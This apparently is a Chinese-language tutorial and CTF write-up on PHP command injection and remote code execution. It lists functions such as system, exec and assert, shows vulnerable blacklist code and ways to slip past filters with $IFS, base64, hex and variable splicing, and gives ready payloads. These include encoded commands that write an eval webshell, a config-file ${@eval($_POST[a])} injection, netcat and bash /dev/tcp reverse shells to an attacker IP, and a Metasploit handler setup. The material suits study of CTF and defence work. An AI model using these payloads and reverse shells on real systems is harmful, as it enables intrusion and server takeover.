Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
漏洞危害
1. system() :
system — 执行外部程序(命令行),并且显示输出
这个函数会将结果直接进行输出 (注意:是直接输出区别于返回值,因为这个,我一般不用它),命令成功后返回输出的最后一行,失败返回FALSE
2. shell_exec():
shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
3. exec():
exec — 执行一个外部程序
返回命令执行结果的最后一行内容。不显示回显。如果想要获取命令的输出内容, 请确保使用 output 参数,或者利用这个函数来构建反弹shell。
exec()函数基本用法:
exec ( string $command [, array &$output [, int &$return_var ]] );
$command:表示要执行的命令。
$output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。
4. passthru():
passthru — 执行外部程序并且显示原始输出。
其他:
5. 反引号
`<命令>`
6. 花括号
{command,}
7.echo命令
echo ls|sh
echo cat /flag|bash
8. ${}
执行代码(可以看到这两个输出的结果并不相同。在双引号中倘若有${}
出现,那么{}内的内容将被当做php代码块来执行。)
方法:${php代码}
${phpinfo()};
代码执行漏洞与命令执行漏洞具有相同性,其本质是相同的。
利用系统函数实现命令执行,在php下,允许命令执行的函数有:
eval()、assert()、preg_replace()等等,以后遇到在继续补充。
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞。
windows或linux下:
command1 ; command2 : 先执行command1后执行comnand2
command1 & command2 : 先执行comnand2后执行command1
command1 && command2 : 先执行command1后执行comnand2
command1 | command2 : 只执行command2
command1 || command2 : command1执行失败, 再执行command2(若command1执行成功,就不再执行command2)
在RCE中就是靠这些连接符来构造并执行恶意命令的。
双写绕过
空格可以用以下字符串代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}
$IFS
在linux下表示分隔符,但是如果单纯的cat$IFS2
,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{ }就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
比如一下代码1.1:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
可以看到以上代码把所有能用的连接符全都给过滤掉了,我们可以利用编码来进行绕过
linux base64讲解:
用法:base64 [选项]… [文件]
使用 Base64 编码/解码文件或标准输入/输出。
-d, --decode 解码数据
-w, --wrap=字符数 在指定的字符数后自动换行(默认为76),0 为禁用自动换行
实例:
[root@localhost ~]# echo test|base64 加密
dGVzdAo=
[root@localhost ~]# echo dGVzdAo= |base64 -d 解密
test
绕过利用:("引号不是必须)
echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh 将执行ls
道理与上面相同
利用linux xxd命令。xxd 命令可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。
-r参数:逆向转换。将16进制字符串表示转为实际的数
echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag
$(printf "\154\163") 执行ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag
可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>:
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
if(!empty($_GET)){
$str=$_GET["calc"];
if(strpos($str,"#")!==false)
die;
if(strpos($str,"`")!==false)
die;
if(strpos($str,"flag")!==false)
die;
//这里设置黑名单,过滤了"#、`“和"flag”
$cmd = shell_exec($str);
echo "{$cmd}
";
}
构造payload,来进行偶读拼接绕过:
?calc=1;a=l;b=s;$a$b
?calc=1;a=fl;b=ag;cat $a$b;
。
在Linux bash中还可以使用花括号{OS_COMMAND,ARGUMENT}来执行系统命令,
注意:别忘了{,}里面的逗号,如{ls}这个不能执行,必须要{ls,}这样。
以下讲解各种RCE的利用。
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的反引号作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。linux下反引号``里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令(就是将反引号内命令的输出作为输入执行),类似于|管道
例如:
echo "a`pwd`"
?ip=127.0.0.1;cat$IFS$9`ls`
于此类似的还有$(command)
例如:echo “abcd $(pwd)”
当后台的命令执行函数没有会显时,若存在RCE,则为无回显的命令执行。这时,我们不能利用常规的命令执行利用方法来getshell,要利用这个命令执行函数来构造反弹shell。
详情见我的writeup:[BJDCTF 2nd]duangShell
此题存在exec()函数造成的命令执行:
发现要POST一个girl_friend,这个girl_friend被preg_match过滤了好过(但是没有过滤nc命令与curl)
符合条件的girl_friend会被exec()函数执行。但是我们知道exec()函数是无回显的,那怎么办的,我们只能用反弹shell的方法了。
由于这题的环境靶机无法访问外网,所以需要一个内网靶机来做,这里就直接用了题目中推荐的Basic中的Linux Labs,由于这台靶机已经安装了lamp,已指出http服务,我们用xshell连上这个靶机,并用ifconfig命令查看靶机的ip:
设置nc连接,监听题目机的连接:
此时,我们要让题目的服务器连接到我们的靶机上,并反弹题目机的shell,我们在hackbar里面设置
发送,靶机就连上了,并反弹了shell:
直接find查找flag
find / -name flag
cat /etc/demo/P3rh4ps/love/you/flag,得到flag:
攻击机
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
exploit
然后在靶机命令执行处输入
bash -i >& /dev/tcp/攻击者ip/8080 0>&1
最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。
获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh
或-e /bin/bash
来进行重定向)
**正向shell:**客户端主动连接服务器并获取服务器shell
客户端主动连接并得到反弹shell
nc 服务端ip 8888
服务端监听连接
nc -Lvp 8888 -e /bin/sh
# windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe
**反向shell:**服务器端连接并反弹shell给客户端
客户端监听
nc -Lvp 8888
服务端连接客户端
nc 客户端ip 8888 -e /bin/sh
# windows上:nc ip 8888 -e c:\windows\system32\cmd.exe
bash -i >& /dev/tcp/攻击者ip/攻击者port 0>&1
bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
过程:
攻击机:kali ip:192.168.25.144
靶 机:centos ip:192.168.25.142
kali 攻击机监听本地8888端口
靶机 终端写入反弹shell 的命令
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
攻击机 kali 成功得到反弹shell
—————————————————————————————————————————————————————————————
assert()断言
编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真(为真才能继续执行)。如果该表达式为假,就中断操作。
assert ( mixed $assertion [, Throwable $exception ] )
漏洞:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。跟eval()类似。这是一种代码执行。
例题:(攻防世界-mfw)
知道了assert断言的代码执行漏洞后,我们就来构造payload,这里利用了闭合的思想:
分析代码可知,若想得到flag,则需要给page传入的须满足
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
尝试
?page=abc') or system("cat templates/flag.php");//
即
$file = "templates/abc') or system("cat templates/flag.php");//.php";
即
assert("strpos('templates/abc') or system("cat templates/flag.php");//.php', '..')
得到
(这个地方我本来在主页提交的,但是怎么都显示不出flag,可能被页眉给当起来了,ctrl+u查看源码就能看见了,或直接在源码也提交)
?page=abc') or system(phpinfo());//
就可查看phpinfo信息。
PHP版本要<5.5
preg_replace:
功能 : 函数执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
实例1:
$str = $_GET['str'];
preg_replace("/\[(.*)\]/e",'\\1',$str); //此处用了反向引用
show_source(__FILE__);
?>
在这道题条件中,preg_replace函数中的参数只有$subject
使我们可控的,而$replacement
是不可控的,那我们我们怎么篡改$replacement
呢,就要利用反向引用的知识:
反向引用,就是依靠子表达式的记忆功能来匹配连续出现的字串或字母。表达式在匹配时,表达式引擎会将小括号 “( )” 包含的表达式所匹配到的字符串记录下来。在获取匹配结果的时候,小括号包含的表达式所匹配到的字符串可以用序号来单独获取。
“\1” 引用第1对括号内匹配到的字符串,”\2” 引用第2对括号内匹配到的字符串……以此类推。在正则(.+)\1中,\1等于(.+)中匹配到的值,也就是连续2次相同的值。
如匹配连续两个it,首先将单词it作为分组,然后再后面加上“\1”即可,格式为:(it)\1
如果要匹配的字串不固定,那么就将括号内的字串写成一个正则表达式。如果使用了多个分组,那么可以用“\1”,“\2”来表示每个分组(顺序从左到右)。如:([a-z])(A-Z)\1\2
知道了反向引用的知识后,我们够早的payload:
?str=[phpinfo();]
?str=[system(‘cat /flag’);]
实例2:
preg_replace("/test/e",$_GET["h"],"jutst test");
?>
哼哼,这个就不再多说了。
提示我们要在url中查询ip,我们先看一下目录下又什么东东:
发现&被过滤了:
我们可以用|、||、“ ; ”:
发现有个flag.php,我们尝试查看flag.php:/?ip=127.0.0.1;cat flag.php
,却发现空格被过滤了
绕过空格的方法大概有以下几种:
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
我们构造:/?ip=127.0.0.1|cat{$IFS}flag.php
,发现某个符号被过滤了,可能过滤了“{ }”
我们再构造:/?ip=127.0.0.1|cat$IFS$9flag.php
猜测是因为检测并过滤了flag,所以我们尝试先读取index.php看看到底用的什么过滤方法,构造/?ip=127.0.0.1;cat$IFS$9index.php
:
发现一共过滤的符号有:
' " \ ( ) [ ] { } & / ? * <
过滤的字符有:
空格、bash、flag
梳理一下思路、我们可用的方法有:
(1)变量拼接。在flag贪婪匹配里面我们不将flag连着写,就不会匹配到,同时可以看到有$a变量,尝试覆盖它
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
或者
?ip=127.0.0.1;a=l;b=f;c=a;d=g;cat$IFS$9$b$a$c$d.php
(a=f;b=l;c=a;d=g;cat$IFS$9$a$b$c$d.php过不了,因为他是.*是匹配,所以不能是f...l...a...g的顺序,变量a和b的位置替换下就能过了,即上面那个a=l;b=f;c=a;d=g;cat$IFS$9$b$a$c$d.php)
查看源代码可以看到flag.php的内容显示了出来
(2)内联执行。另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令(就是将反引号内命令的输出作为输入执行),类似于|管道
?ip=127.0.0.1;cat$IFS$9`ls`
查看源代码可以看到index.php和flag.php的内容都显示了出来(不知道为什么在原页面不显示flag而必须在源码中看,可能是因为flag是个php变量)
(3)编码法,我们用base64编码
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //bash被过滤了我们就用sh
在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。
举个简单例子:
$a = 1;
$b = 2;
echo '$a$b';//输出结果为$a$b
echo "$a$b";//输出结果为12
?>
可以看到这两个输出的结果并不相同。
在双引号中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。
可以看到成功执行了phpinfo()
试想一下,倘若在一个cms的后台,如果可以修改数据库的配置文件,且配置文件中的值用双引号包括 ,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。
现在,让我们来修改一下代码,让我们不只能输出phpinfo
echo "${@assert($_POST[a])}";?> //@是用来防止输出错误信息的
菜刀成功连接。
对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。
在代码审计一书中提到Kuwebs的配置文件中可以利用PHP可变变量的特性执行代码
我们先下载Kuwebs的源代码,下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中
这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件
我们将kuWebsiteURL修改为
$kuWebsiteURL = "${@eval($_POST[a])}";
如今的CTF题中,像这种很单纯的命令执行已经不多了,更多的是利用现实中爆出的CVE来出题,难度增加,如比较出名的一个PHP开发框架——ThinkPHP,比较热门,做这样的题的方法是先设法得到ThinkPHP的版本,再去网上搜该版本的RCE漏洞的payload,直接套就行了。。。
先说这么多吧,以后遇上了在继续补充……
参考:https://blog.csdn.net/silence1_/article/details/96135760